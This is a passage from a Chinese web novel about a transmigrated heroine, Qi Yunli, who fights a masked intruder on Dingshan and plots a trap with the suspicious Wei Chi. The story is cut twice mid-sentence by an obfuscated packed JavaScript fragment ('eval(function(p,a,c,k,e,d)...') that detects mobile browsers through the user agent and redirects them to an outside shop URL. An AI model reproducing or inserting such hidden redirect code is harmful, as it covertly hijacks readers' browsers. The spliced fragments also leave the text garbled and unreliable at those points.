小说男主惨了一路,而且是货真价实的惨,可即使如此他也没有屈服。 很多人只能选择跪地求饶,他却无论如何都能爬起来。 ——即使鼎山尸骸遍地,他也仍然在那里。 这么一想事情就有点严重,远远超出单纯填坑。 填坑途中可能还得解决一些莫名其妙的麻烦。 齐云鲤只好问:“青湖这个名字你听说过吗?” 石月观音果断摇头。 “我现在用的就是她的躯体,她之前在禁地被面具人打到崖壁上。” 石月观音两眼一亮,瞬间打起精神。 “穿书者来破坏,小说世界就有人出来保护,”她说出对比,“破坏者和保护者打起来了。” 不过这话又让齐云鲤有种活该的感觉,之前感觉可能是自己导致小说断更,现在发现自己要阻止小说断更。 之前以为要被打,现在发现得主动出击。 无论如何都是这种事…… “情况有点复杂,我再看看吧。”齐云鲤只能无话可说。 不过看石月观音仿佛还有话要说,她就问:“要怎么过来这边?” “按理来说睡觉就行。” “只要睡觉就会过来?” “不一定,大概就是你有什么消息要告诉我才会过来。” 听到这里齐云鲤不禁松口气,要是天天过来,那睡觉也白睡。 毕竟在这边说几句话就感觉像是在期末考试,题目特别刁钻,完全超出所想,而且还要求高分通过。 如果没达标,可能就不止是请家长。 “要怎么离开?”她问得很客气。 “走出大……” 石月观音话还没说完,齐云鲤已经冲了出去。 再次睁眼时,发现身处青湖的房间,她都有点感动。 有些事看起来很可怕,只是因为还没遇到更可怕的事。 齐云鲤下床将床底仔细翻找一遍,找出个木盒子,打开一看里面装着个无色透明的圆球,有丝丝缕缕的白烟在里面缠绕。 感觉是功法之类的东西,不过她搞不清这是什么,于是就放回原位。 接下来她将房间里的书全都翻阅一遍,虽然内容稀奇古怪,但是自己居然能看懂。有些涉及功法的内容,她跟着练了一下竟然相当顺利。 之前石月观音说有人过来搞破坏,那么她就要维护。 虽然面具人很棘手,但她也不是只能被动挨打。 如果还有其他穿书者,又对男主抱有怨恨,那么动手的可能性就会很大。 恨到要对男主父母下手的程度,却不动男主。 看起来不是不愿,而是不能。 就像那个面具人在禁地先杀死男主师父,然后对他动手。 关键时刻是齐云鲤冲过去打断他的攻击。 那么之前的轮回又是谁在阻挡面具人? 貌似男主无论如何都能活到鼎山灭门的时候。 齐云鲤突然感觉自己之前做的有点过分。 假如面具人很早就出现,那么他就是不断让卫池父母双亡。 小说男主和父母感情很好,估计卫池也不会差到哪里去。 这时外面已经天亮,齐云鲤溜出去一看,卫池那个房间已经没有人,估计已经去晨练之地。得罪人的这种事不能拖,但是直接去晨练之地也不妥当。 最后齐云鲤在房里找出一本关于化形的书,化形是指修道人士变化形态,从人形变成动物或者器具。如果能变换形态,那么去晨练之地就会方便很多。 虽然书中内容晦涩难懂,不过齐云鲤琢磨片刻还真就成功化形成一只燕子。 她扇动几下翅膀就飞出木屋,升上天空。 鼎山上空云层很厚,齐云鲤没经验,一下子就冲得很高。直接被云雾遮住视线,兜兜转转大半天才找到正确方向。 晨练之地位于山峦边缘,几步之外就是无边云海。鼎山弟子在那里晨练,既能远眺四方,又能专心于脚下土地,而不会被花红柳绿扰乱心神。 燕子齐云鲤没有晨练之地的具体印象,在天上飞来飞去,直到快精疲力竭才发现几个黑色道袍的鼎山弟子。 燕子向着那个方向冲过去,最终停在路边一棵云杉上。 不远处的空地上一群鼎山弟子正在晨练,他们都身着黑色道袍,众人都遵照鼎山长老的要求专心练习。 虽然有人挂名在那位长老名下,不过实际修炼都由师兄师姐负责。鼎山长老此时只是恰好过来查看情况,并非每天都出现。 齐云鲤半天才找出人群之中的卫池,他身形瘦弱,看起来没有任何威胁。 此时众人正在学习鼎山剑法的基础,虽然没有手持长剑,但人人都拿到一根木棍。卫池练得很顺利,完全没有混乱模糊。 不过齐云鲤发现一个严重问题。 ——卫池用的是左手,但小说男主不是左撇子。 有人穿书就算了,结果小说男主也变了? 齐云鲤不免有些恐慌,感觉哪里都有问题,又不清楚问题究竟出在哪里。 她离开树梢向外飞去,但一时没有明确方向,所以就没头没尾飞了很久。也不清楚究竟身处何地,最后气虚乏力落在一棵树上休息。 卫池不是小说男主,而是故事男主? 这里不是小说,而是同类型的故事? 可石月观音说如果不是小说她就不得好死。 ——或者小说已经被改写? 问题太多,齐云鲤一时晕头转向,原本就要从树上掉下去,但就在这时她看到不远处出现一个身影。 那人身着一身黑红长袍,衣襟上有白色云纹,下摆还有些水纹,仿佛水天相接之处有人遗世而独立。 当然最关键的是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963659|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人头戴深红面具,上面画着一张怒目圆瞪的脸。 ——是禁地那个面具人! 齐云鲤不清楚这是哪里,但是看到面具人打就行了。 于是当面具人走到拐角时,突然被人一脚踢翻,接着就是劈头盖脸一顿痛打。 之前看到鼎山弟子在晨练之地用木棍舞剑,因此齐云鲤也学到这一招。既然没什么杀伤性,那就放心大胆地打。 虽然还有很多事情弄不清楚,不过打面具人可以疏解心中困惑。 管他究竟是谁,反正相当可疑。 “你还没完没了?!”面具人大吼一声就甩出阵法。 齐云鲤虽然被划出血痕,但没有被击中。她又在木棍上施法,让木棍变得坚不可摧,打起人来疼得不得了。 “你根本就不是青湖!”面具人吼出真相。 齐云鲤不免觉得有点好笑:“有本事你去告发我?” 修道人士很忌讳被人附身,时常有人去告发谁被附身,然后就有一连串措施验明正身。即使隔三岔五就有人被诬告,但谁也不敢掉以轻心。 毕竟今日看似朋友,明天可能就杀你全家。 所以只要面具人去告发齐云鲤,她就会被抓起来。 但他不会干那种事,因为到时候先被打的绝对是他,毕竟他是擅闯鼎山禁地的陌生人。管他说的真话假话,打完再说。 齐云鲤有没有问题,都不妨碍打他。 面具人施法布阵,齐云鲤也不怕。虽然很多东西都不清楚,不过打架倒是很顺手,仿佛早已身经百战。 于是在这个树林里,一下子有气浪,一下子有雷电,双方都不退让,都在施法布阵。面具人似乎还在忌惮什么,不敢打得太过激烈。 因此齐云鲤还能在施法间隙冲过去动手打人。 石月观音说面具人也是穿书者,而且可能是作者。 从小说剧情发展来看,貌似真的跟男主有仇。 毕竟那一连串要人命的事看起来不像纯粹的剧情需要,更像是有什么深仇大恨,务必要弄死男主。 谁知最后鼎山都已灭门,男主还在那里。 作者要是确实跟他有仇,感觉都能气死。 实在气不过所以坑了小说,从此人间蒸发。 虽然挺合理,不过这都是齐云鲤的个人猜测。 只能确定面具人跟男主有仇,其他都是空谈。 如果是本来就有病的读者也不是不可能,毕竟大千世界无奇不有。 只是需要杀他父母来泄愤,看来不是一般的深仇大恨。 而且貌似已经干过很多次。 从最开始禁地里的争吵和打斗来看,双方仇怨颇深。 想到这里齐云鲤就放心大胆动手,反正打面具人鼎山不会有任何意见。 由于双方都不下死手,所以谁也不能赢,一直没完没了。 打到后面她都感觉是在健身锻炼、活动筋骨,毕竟也分不出胜负。 可能面具人被这没完没了的打斗折磨得快受不了,于是他趁齐云鲤不备就打出一个攻击阵法。 那个阵法一出现,瞬间就打破二者平衡。 ——毕竟是个杀招。 齐云鲤心神已经松懈下来,完全没设防,眼看就要被击中。 在这千钧一发之际,凭空突现一个阵法将面具人的攻击挡住。 二者在激烈的碰撞中均化为烟尘,消失殆尽。 余下的只有一缕轻风和几个光点。 ——这跟之前禁地那个阵法如出一辙。 齐云鲤十分惊讶,她完全没想到竟然又凭空出现一个阵法。 面具人也很震惊,接连两次挡住他的进攻,这究竟是什么人干的? 双方都满腹疑云,打得有点心不在焉。 不过打着打着突然出现一把长剑,向面具人刺去。剑锋闪着寒光,一旦刺中,必然皮开肉绽,血流满地。 齐云鲤一愣,面具人就瞬间烟消云散,长剑扑空落地。 之前的打斗谁也没用兵刃,这突如其来的长剑仿佛暗含杀意。 杀意来源在树林边上,齐云鲤回头一看,发现卫池站在那里。 之前说错话时,卫池仿佛能生撕她,现在看起来他像是能把面具人五马分尸再挫骨扬灰。 相比之下齐云鲤干的事就显得无足轻重。 “你怎么在这里?”她很疑惑,不过更重要的是赶紧转移对方注意力。 卫池没有正眼看她,转身指着一个地方才说:“这里是玄镜池。” 他指着的正是玄镜池木屋,齐云鲤闻言一看才发现自己居然又回到这里。 那人估计刚从晨练之地回来,就听见树林里的打斗声。 过来一看就发现那张面具,所以甩过来一柄长剑。 可见真的是深仇大恨。 齐云鲤赶紧转移话题:“剑是哪里来的?” “晨练之地发的。”卫池语气平静得仿佛无事发生。 之前不欢而散,如今他平静得像是她都不存在。 齐云鲤感觉有点不对劲,只好解释:“我之前看到面具人,所以就打起来……” “他还会再过来。”卫池很肯定,不过还是看着远方。 这像是什么前奏,所以齐云鲤问:“那要怎么办才好?” “你设陷阱埋伏他,等他被困就打一顿。”卫池说得很轻松。 虽然齐云鲤完全搞不懂,不过想到自己之前说错话也只能点头答应。 毕竟跟认错相比,还是打架轻松。 那个面具人打成什么样都不用烦恼,只怕下手还不够重。 ——只是目前事情也许还有点棘手。 6. 反派教学 清晨天一亮,卫池就离开玄镜池前往晨练之地。 晨练之地是鼎山弟子日常修炼之处,新入门弟子的使用时间最早,基本功熟练之后才会有其他事情。 卫池对此相当熟悉,不过大清早过去修炼没有任何问题。 鼎山弟子大多是穷苦人家的小孩,刚来鼎山时都瘦弱不堪,因此瘦小的卫池在其中并不突兀,毕竟前后左右基本都是如此。 ——不过瘦弱只是一时的,日后能堪大用。 由于这批鼎山弟子基本都是新入门的,所以鼎山长老专门在此说明情况。 由于那位长老专门管理晨练之地,因此大家都称呼他为晨练长老。 “总所周知,天下遍布龙息,”晨练长老须发皆白,却并不显露疲态,他先说出开头,“龙息时不时带来动乱,让人不堪其扰。修道人士应该及时解决相关问题,身为鼎山中人你们要尽早学会跟龙息相处。” 曾经真龙尚在的时候龙息还算稳定,不会给常人带来困扰。 如今真龙消失,龙息就游荡在世间,没有固定居所,时常造成暴乱。 龙息既是一个超凡脱俗之力,也是一种扰乱四方之灾。 原本是力还是灾都因人而定,没有定论。 但如今真龙消失,龙息之力再无顾忌,肆无忌惮游荡,所过之处都是灾害连连,以至于已经没有修道人士还觉得龙息是可用之材。 因此世间对龙息的看法只有灾祸。 没有哪个鼎山弟子的家乡不被龙息侵扰。 大多数都是不堪其扰,最后向鼎山求助,他们上鼎山修道也是因此而已。 “虽然是灾,但你们要让其成为力,”晨练长老沉声道,“日后你们下山去平定龙息暴乱时也要记住这一点,如果只将其当作灾,那谁也无可奈何。到时候你们救不了任何人,甚至自己也难逃一死。” 这话很严重,鼎山弟子不由面色凝重。 他们都是为了平定灾害而来,如今却被告知灾也是力。 “如今时不时有地方龙息暴乱,等你们赶过去时动荡就已平息。虽然不清楚事情缘由,不过还是做好准备吧,”晨练长老强调,“现在只需要做准备,后续那些事你们用不着多想。” 话虽如此,可他自己说得很吓人,谁都难以平静接受。 晨练长老见状便伸出左手前后转动,让鼎山弟子能看到前后两面,然后点了点手掌和手背。 虽然手掌和手背长得截然不同,但它们是一体的,都是手。 “所谓一阴一阳之谓道,这都是世间常态,没什么稀奇的。习惯就好,太过看重反而容易误入歧途。” 这话很深奥,可他又说得相当寻常,众人不免有些疑惑。 那位长老当然知道面前的鼎山弟子无法理解自己的话,不过他也不强求众人醍醐灌顶,知道是什么就行。 至于搞清楚这究竟是怎么回事,那必然是很久以后的事。 很多人年事已高对此也一无所知,自然没必要强求这些小孩。 “其实天下除龙息以外,还有一物,那就是元气。据说天地成于元气,万物成于天地,”他转而又说,“而且医家有大补元气的说法,不过谁也没见过,只能说是某种跟龙息类似的事物。” 大家直接接触的都是龙息,说起元气就有点搞不清,毕竟虚无缥缈。 “龙息和元气就类似一阴一阳。”晨练长老又说出一句话。 他说元气和龙息有关,可龙息不是什么好东西,元气估计也好不到哪里去。 郑重其事地说一件坏事,实在让人难以理解。 鼎山弟子一脸疑惑地左看右看,谁也不明白什么意思。 不过就在这时,人群里突然响起一个声音:“不是有元气满满这个词吗?” 说话的人稚气未脱,他见其他人都沉默不语,所以才开口。 卫池转头朝那边一看,感觉那个人的魂魄不是本人。 毕竟他曾经接触过那个人,跟现在截然不同。 这种魂魄跟躯体不是同一人的现象他已经遇到过很多次,之前以为那个青湖是这次交换魂魄的人,没想到这里还有一个。 ——怎么会同时有两个人出现那种情况? 卫池百思不得其解,晨练长老却开口:“别说那种胡话。” 他是比较讲究话语可信度的人,虽然在晨练之地出现的时间不长,但他说的话鼎山弟子都得听进去,毕竟经得起考验。 晨练长老态度比较严肃,就像铁面无私的判官,之前开口说话那个人瞬间就被吓到,马上低下头,周身还微微发抖。 卫池见状便说:“那是我之前在路上听别人说的,后来讲给他听,他就信以为真。” 晨练长老原本还面向那个人,听到这话就立即转身。 此事当然更加严重,胡说八道的人数不胜数,若是一听就信,那就会被骗得倾家荡产、血本无归。 “道听途说的东西不要信,”晨练长老大声强调,“这个世上说什么的人都有,但货真价实的最多不过十分之一。很多时候别人的话只能提供一点参考,若是完全信以为真,估计都不知道自己是怎么死的。” “各位都家境贫寒,所以我告诉你们一件事——越有钱越知道怎么骗人。俗话说有钱能使鬼推磨,难道鬼推磨还是好事?” ——鬼推磨当然不是好事,世间鬼怪颇多的幽冥十二泉,沿途百姓都受尽折磨,幸亏还有幽冥大帝出来稳定局面。 晨练长老语重心长:“千万要小心,否则别人说几句好话,你就可能家破人亡。” 他越说越多,后来都开始唉声叹气,仿佛见过很多人被骗。 鼎山弟子的师兄师姐也不催促,就随长老在那里细说凄惨往事,只是挥手示意其他人先休息一阵子。 晨练之地的事暂停一会儿,之前说话的那个鼎山弟子就跑过来跟卫池道谢。 “刚才真是谢谢你,不然我真不知道怎么办才好。”那人相貌普通,声音小又一脸惭愧,看来遇到这种事实在出乎意料。 卫池看出这个人很是年幼,顿时和蔼可亲起来:“我之前听过类似的话,你也算是帮我问了一个问题,不然我就会信以为真。” “我叫孙仲礼。”那个人一脸欣喜,眼睛睁得很大,嘴角也咧开,明显是幼年神态。他原本认为自己闯了祸,没想到竟然还帮上一个忙。 卫池只是点点头:“在下卫池。” “啊,你改名了?“孙仲礼错愕得看过来,仿佛发现什么惊天秘密。 知道卫长夜这个名字的人并非没见过,之前交换魂魄的人都知道。 不过如此明显表态的还是头一次见。 于是卫池只是说:“这是师父赐的名。” “你师父取的名字?”孙仲礼的表情很是嫌弃,“他怎么这样?” “她说鼎山开山祖师是天一道人,而天一生水,池也就是水。”卫池给出这个解释,听起来还挺名正言顺。 但孙仲礼更加疑惑:“鼎山名字里带水的都很凶吧?” 知道这件事的绝不是寻常鼎山弟子,卫池就此确定他不是原来那个人。 “她名字里有个湖字,也带水。” “怎么会有湖字,他名字不是玲……”孙仲礼猛然一惊,这才反应过来,“你师父是谁啊?” 卫池面无表情地说:“青湖。” 这个鼎山弟子明显知道什么,跟曾经轮回里的那些人一样。 不过这样看来,那个青湖又是怎么回事? ——她的态度未免也太过习以为常。 卫池发现不对劲,既往轮回中都会出现一个交换魂魄的人。 之前他以为这次交换魂魄的是青湖,谁知道居然还有一个人,而且晨练之地的这个鼎山弟子才跟以前那些人一模一样。 那个青湖则截然不同。 之后晨练之地又开始教学,鼎山弟子手持木棍,跟着师兄师姐练习鼎山剑法,最后每人发一柄长剑回去练习。 练剑结束,孙仲礼过来问:“你居然是左撇子?” “右手受了伤,不方便。”卫池给出解答。 孙仲礼十分不可思议:“你右手怎么会受伤?” 于是卫池便慢慢说起之前的惊心动魄,虽然语气平淡,可孙仲礼听得都有些目瞪口呆,最后只能感慨幸亏他命大。 此时晨练之地的练习彻底结束,两人便一同离开,说着说着就开始闲聊。 孙仲礼一时兴起,滔滔不绝说了很多故事,最后满眼期盼地看着卫池,似乎是在等他的听后感。 “人生其实就是个故事,虽然经历坎坷,但最后会有人等你。”卫池说出这句话的时候,两人已经走到岔路口,孙仲礼郑重道别就转身离去。 虽然他走得很轻松,但卫池的心情比较沉重。 之前感觉那个青湖可疑,结果现在发现她岂止可疑。 一开始出现的地方就不对,之后的反应也很奇怪。不像鼎山弟子,也不像其他修道人士,完全异于常人。 交换魂魄之人通常都会束手无策,一问三不知。 那个人却知道得过多,熟悉的仿佛已经在鼎山呆了很久。 ——更何况她还说出那个名字。 卫池在沉思之中走回玄镜池,靠近木屋就听到后面传来一连串打斗声。 他赶过去一看,就发现那张怒目圆瞪的深红面具。 于是他毫不犹豫就抛出手中长剑。 虽然面具人烟消云散,但那个青湖却一脸茫然,还问了好几个问题。 卫池要她设陷阱埋伏面具人,那个青湖即使一头雾水也还是点头答应。 他没想到她突然这么好说话,虽然还要他说出具体策略,但态度跟之前截然不同。 齐云鲤客气请教,生怕自己有什么遗漏,因此不敢得罪。 卫池虽然觉得她可疑,但也不妨碍说出具体策略。 面具人来鼎山,主要还是为了龙息。鼎山集天下龙息于禁地,面具人就过来窃取龙息,以便自己动手。 毕竟龙息是一种灾,也是一个力。 面具人之前上鼎山禁地被打退,暂时就不会再过去。毕竟鼎山上下都有龙息,禁地只不过是龙息鼎盛之处。 若是他以为某地有龙息可以窃取,就会心安理得踏进陷阱。 陷阱里自然是精心准备的埋伏,虽不能一击毙命,也还是能令他身受重伤。 卫池平静地说出这个办法,齐云鲤又问什么样的埋伏可以重创面具人。 说到这里,他就想起一件事。 晨练之地的孙仲礼才是一如既往的那个人,而这个青湖来历不明。 ——既然面具人危害一方,她又神秘莫测,那就两败俱伤吧。 于是卫池的态度突然温和起来,明明齐云鲤才是提问者,此时却像是他有求于人 他之前视她于无物,这时却像个谦逊有礼的后辈,生怕没把话说清楚。 ——孙仲礼在这种态度下就明显放松。 可齐云鲤对这种突然转变的态度并不欣喜,反而有点战战兢兢。 毕竟她只能想到一句话:无事献殷勤非奸即盗。 卫池突然这么和颜悦色,明显有异。 双方难得可贵地细说计划,这本是件好事,可齐云鲤心里却有点发毛。 之前不欢而散,现在这么温和,八成有诈。 原本都能争好几天,如今态度大为转变,必然要出事。 ——这是有什么大病? 但卫池彬彬有礼、和颜悦色,挑不出任何毛病,她也不好有意见。 两人温言细语说了一阵子,齐云鲤越说越怕。 感觉他像是学校的教导主任,自己是个问题很大的学生。他现在好言相劝,但转身就要去请家长。 家长一来,会有什么后果可想而知,说不定以后都没脸见人。 最后她只好客气地问:“面具人难道不会察觉此事,莫非他这么好骗?” “他觉得自己明显高于众人,所以即使有诈也不怕。”卫池没有判定面具人是否好骗,只是说出真相。 如此明目张胆的肆意妄为,只会让人想到嚣张跋扈。 齐云鲤没有怀疑,毕竟面具人都直接跑到鼎山禁地杀人越货,还怕什么。 不过面具人不怕,她还是有点怕。 ——比起卫池的可疑,还是面具人更凶神恶煞。 “那我能完成这件事吗?”齐云鲤心里没底,总觉得有考试不及格的风险。 “你拿着这个铺在那边就行。”卫池递来一张纸,上面画着阵法花纹,只要将纸铺在地上,阵法就会自动铺开,这是一种传递阵法的常见方式。 不过只有修为高深之人才会这样传递阵法。 他接着又说得天花乱坠:“之前青湖能跟他大打出手,你刚才打他也没问题,这次做好准备必定能让他一败涂地。” 此言一出,齐云鲤这才想起来之前她跟面具人打得旗鼓相当。 后来面具人想偷袭,却被凭空出现的阵法挡住。 这跟鼎山禁地的情况是一回事。 虽然不知是何方神圣,不过确实有人在保护她。 即使那个危险这个可疑,但还是有人在帮她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗白音十分怀疑:“你在那里干什么?” “之前在禁地有个阵法凭空出现,帮我挡住面具人的攻击,所以我想找点花花草草送过去做为答谢。” 将花草当作谢礼是件说出来会被人笑话的事。 因此罗白音皱眉问:“这有什么用?” “礼轻情意重,那边冰天雪地有点绿色也算是生机。” 罗白音没有计较此事,只是转头喝茶,接着又问:“你要如何应对?” “面具人一而再再而三地出现在这边,必然有所求。八成是为了龙息,毕竟鼎山龙息鼎盛,”齐云鲤先说出对方目的,“他也许能将龙息的灾化为力。” 真龙和龙息在小说里有所提及,之前卫池又重点强调,看来是个关键。 面具人既然是穿书者,那么估计知道龙息的重要性。 他跟小说男主有仇,自然不放心龙息。 毕竟世间只有人炉可以利用龙息,而男主就是人炉。 龙鼓论战时禁地龙息则会溢出,然后遍布鼎山上下。若是没有意外,小说男主就能获得海量龙息,一战成名,四海之内无人不知无人不晓。 这种事面具人绝对不能忍。 虽然卫池可疑,但面具人确实讨打。 “因此设一个看起来能获得龙息的陷阱,不过等他进去却只有埋伏。”齐云鲤说得言之凿凿。 罗白音没有否定这个计划,只是怀疑地看着她,很久才问:“你能做到?” 齐云鲤本来就心里没底,这么一问更是让她自我怀疑。 “不能。”她坚决否定,果断摇头。 罗白音嫌弃得不得了:“做不到你说什么?” 此时此刻的罗白音有点凶神恶煞,可齐云鲤却觉得她美若天仙,甚至还有点感动,毕竟不是戴着一个笑面虎的假面。 “我无法做到又不是没人能做到。” ——请人帮忙才是重点。 齐云鲤说出这句话,罗白音脸色没有好转,只是说:“可以过去九个人。” “就不能多一点吗?”齐云鲤看起来有点为难。 罗白音扬声道:“九是老阳数,你还想干什么?” 在数字一到九中,奇数为阳,偶数为阴。 其中九为老阳,六为老阴。 九为阳数之极,因此九个鼎山弟子也算一股巨大力量。 齐云鲤好不容易求来九个人帮忙,自然不能错过这个机会,毕竟那可是鼎山的中流砥柱。 之前在禁地打面具人,打得难解难分、没完没了,最后是他们出现她才有胜算。这次在他们的帮助下一定能痛打面具人。 罗白音见她面露喜色就问:“难道你还要带着他们去巡逻?” “不用这么明显,就是刚好出现在那边。”齐云鲤解释。 “要怎么刚好?” 齐云鲤说出计划:“巡山防护的路上恰好走到那边。” “具体什么位置?” 齐云鲤伸手一指:“鼎山东南方一个角落。” “那边他们不会切实走过去,只会远望。”罗白音说出答案。 这么说起来,鼎山弟子就不会自然而然出现在那里。 可齐云鲤又不知道还有其他什么位置合适,总不可能再回去问卫池。 她一脸疑惑地站在那里,罗白音就指着窗外远山说:“只要你过去挑事,鼎山弟子就能名正言顺出现在那边。” 这是个还算合理的办法,不过齐云鲤很迷惑:“还要我挑事?” “总不可能是他们散步过去。”罗白音说得有点讽刺。 知道她不好对付,所以齐云鲤马上接受这个建议:“怎么挑事?” “你觉得那边埋着什么,所以过去挖土。” 这话说得很匪夷所思,齐云鲤怎么也想不通,青湖还有这种兴趣爱好? 虽然之前闻所未闻,也不至于这么离谱吧? “这合适吗?”齐云鲤只能问。 罗白音名正言顺地胡说八道:“其实之前你在鼎山基本就在干这种事。” 基本在干这种事,那么不出现在其他人面前也合情合理。 这话完全无法拒绝,毕竟一不小心就被戳穿真面目。 齐云鲤一无所知,只能顺着她的话去做,顶多也只能感慨罗白音长得再美也很凶,就像医生长相跟治疗结果无关。 7. 教学成果 确定请到九个人以外,还有一件事很重要。 于是齐云鲤问:“之前去禁地帮忙的那几个人这次能不能来?” “你还挑人?”罗白音明显不满。 “我跟鼎山弟子都不熟,那几个好歹不面生,到时候打起来可能需要合作,要是配合失败那就不好。” 齐云鲤说得无可挑剔,鼎山弟子修为功法都不算上乘,因为有护山大阵,他们才能配合默契,弥补很多不足。 若是单打独斗,鼎山弟子实在不算什么。 可一旦能布阵协作、取长补短,那么他们就威力无穷。 小说里的鼎山龙鼓论战,读者觉得男主稳操胜券,正是因为鼎山弟子实在不擅长此道,男主则刚好精通于此。 “他们几个并不精通打斗。”罗白音说出这件事。 齐云鲤强调:“不用上前打斗,主要就是布阵稳住局面。” 鼎山禁地有龙息压迫,因此会上禁地救人的必然是能承受压迫之人。 承受压迫,自然是靠护山大阵,不过能用护山大阵来抵挡龙息压迫绝非儿戏。 只有精通布阵之人才能在护山大阵和龙息压迫之间找到平衡。 如今设置陷阱打面具人,需要的正是精通布阵之人。 精通布阵还跟这个青湖熟悉,他们就是不二人选。 罗白音没有理由拒绝,不过还可以要求更多。 于是她又开始胡说八道:“那几个人这段时间在忙别的,估计抽不开身……” “打完面具人我可以去帮他们。”齐云鲤果断回答。 阳光没有直接照在她身上,不过罗白音一时觉得她眉清目秀,顺眼很多。 以前青湖不愿做的事可以全都让她干了。 罗白音同意此事以后,齐云鲤就直接去山脚等人。 毕竟之后就是在附近布置陷阱,还是先讲清楚,以免产生不必要的麻烦。 鼎山地势较高,即便是山脚也比其他地方高出很多。 由于四周妖魔鬼怪众多,所以见不到人影,只有广袤树林。 齐云鲤站在那里远远望见一头壮硕棕熊,正在想是不是妖怪,谁知那头熊一发现她就夺命而逃,仿佛她可怕至极。 那头熊一跑远,刚才还有点叽叽喳喳的树林瞬间安静,再也没有任何声响。 她完全不知道是怎么回事,只是觉得过分安静,感觉四周没一个活物。 ——莫非默默无闻的青湖对妖魔鬼怪有这么大威慑力? 这种极致的安静通常都会令人害怕,但齐云鲤感觉没什么问题,因此继续在原地等待。 不久之后有人在不远处喊她:“青湖师叔。” 她回头一看,那边站着九个鼎山弟子,有男有女,不过神色都有点谨慎。 “那地方有点奇怪,师叔你还是过来吧。”其中有人说。 齐云鲤转头看向之前发现熊的位置,就这么一看,那边的树仿佛都在抖。 虽然她完全搞不清楚,不过还是向着鼎山弟子走过去。 直到她彻底踏进鼎山,外面的树林才传来一声呼气。 树林里冒出几个身影,全都躲在大树后面,小声询问:“走了吗?” “走了走了,护山大阵还是靠谱的。” 齐云鲤对青湖的威慑力一无所知,走到鼎山弟子面前就简单说明情况。 明天上午她看起来是在这边挖土,实际是在布阵,阵法铺设完毕就等面具人中计。 他们由于看到她在这边挖土就过来劝说,实际是来维持阵法阵型,确保面具人中计。 “感觉需要调整一下,”一个鼎山弟子说,“师叔你光是在这边,对我们来说没问题,所以没必要过来。” “对你们来说怎样才算有问题?”齐云鲤问。 另一个青年说:“还是直接弄出点问题吧。” ——这不就是主动挑事? 齐云鲤一脸疑惑地看过去,只见那人浓眉大眼、五官端正,正是之前在禁地洒雪唤醒卫池的人。 刚好她还有事,因此就直接问他:“鼎山山脚出现什么问题才合理?” “鼎山山脚与外界相连,气息有点错综复杂,附近也时常有山精野怪出没,受此影响,山脚便不如上面稳定。”那个人先说出前提。 齐云鲤想起之前发现的那头熊,感觉是这么回事。 她又问:“不稳定的具体表现是什么?” “此地受到鼎山里外两边的影响,偶尔会出现一些稀奇古怪之物。” 听起来像是有什么稀世珍宝,于是齐云鲤向外一指:“外面有谁会知道吗?” “知道,不过……” ——也不敢过来。 他原本是想让青湖师叔想一下具体有什么东西,结果齐云鲤说:“我下来挖,刚好碰到他们,就打起来?” 听到这个计划,九个鼎山弟子都沉默了。 ——实在想不出谁还有胆子进来挖东西。 “不,这个……” 那个人刚要说话,齐云鲤就走出鼎山护山大阵的范围,向着外面走去。 “没事,我去找几个过来。”她想的根本就是另外一回事。 鼎山中人走出护山大阵也没事,所以没人出声阻止。 鼎山的护山大阵有两种状态,一种是直接守着整座山,一种是守着布阵的几个人。 守着整座山的阵法始终都在,守着布阵之人的阵法只在有需要时才出现。 守着整座山的状态既是对鼎山的保护,也是对外界的保护。 荒郊野外、人迹罕至的地方有个修道门派根本就不寻常。一般修道门派所在之地,即使人烟稀少,也不至于四面八方全是荒野。 但鼎山四周荒无人烟,走一天也见不到半个人。 除此以外,鼎山上下遍布龙息就更是恐怖。 虽然鼎山龙息已经稳定,但对四周来说依然是巨大威胁。 若是没有护山大阵,鼎山四周基本没有活物踪迹。 而进入护山大阵对鼎山以外的山精野怪来说,那就堪比要命。 什么也没干就会被龙息压迫致死。 即使龙息是灾也是力,可对他们来说那就是灾,毕竟经过疏导调理的龙息他们也接触不到。 鼎山弟子站在原地张望,谁都无法想象真能找到愿意帮忙的山精野怪。 可沉默一段时间之后,就真的有三个人形生物走过来,分别是树精、野猪精和老鼠精,身上还带着各自特征。 他们身形不高,只是略有人形,个个都哭得梨花带雨,没有任何反抗。 鼎山弟子彻底沉默,没听说什么妖精这么好对付。之前还有鼎山弟子在山脚被袭击,结果现在他们都哭得跟泪人一样? 一旁走过来的青湖师叔更是匪夷所思。 “你们两边商量一下吧,反正都是演戏,不动真格,”齐云鲤走过来左右看一眼再解释,“之后给你们一些龙息做为报酬。” 话音刚落那三个妖精就哭得更凶,仿佛已经死到临头,不过也只是点点头。 鼎山已经对禁地龙息进行过疏导调理,比其他地方稳定不少,不过即使如此拿到它究竟是福是祸依然说不清楚。 只能说是福不是祸,是祸躲不过。 鼎山弟子对此没有疑义,而且这些妖精听话得格外稀奇,跟他们说话没有任何压力,都是言听计从的乖宝宝。 ——比跟新入门的鼎山弟子说话还轻松。 齐云鲤见他们跟那三个妖精商量对策,就过去将之前跟自己对话的人叫出来。 “你叫什么名字?” 那个人礼貌行礼:“弟子宋安合。” “这边暂时由你来管理,明白吗?”齐云鲤点点头就伸手一指。 宋安合立即说出问题:“那三个妖精过来估计会有损伤。” “所以我在他们身上留下部分功法,用来减轻损伤,其余的你要留意。”齐云鲤顺势说出自己的办法。 宋安合有点为难:“那这样我们就没有余力做其他的。” “你们只需要演戏,顺便保证阵法不被破坏就行。” 宋安合问:“我们全都只用演戏?” “仅此而已,明白了吗?”齐云鲤强调。 宋安合点头:“弟子明白。” 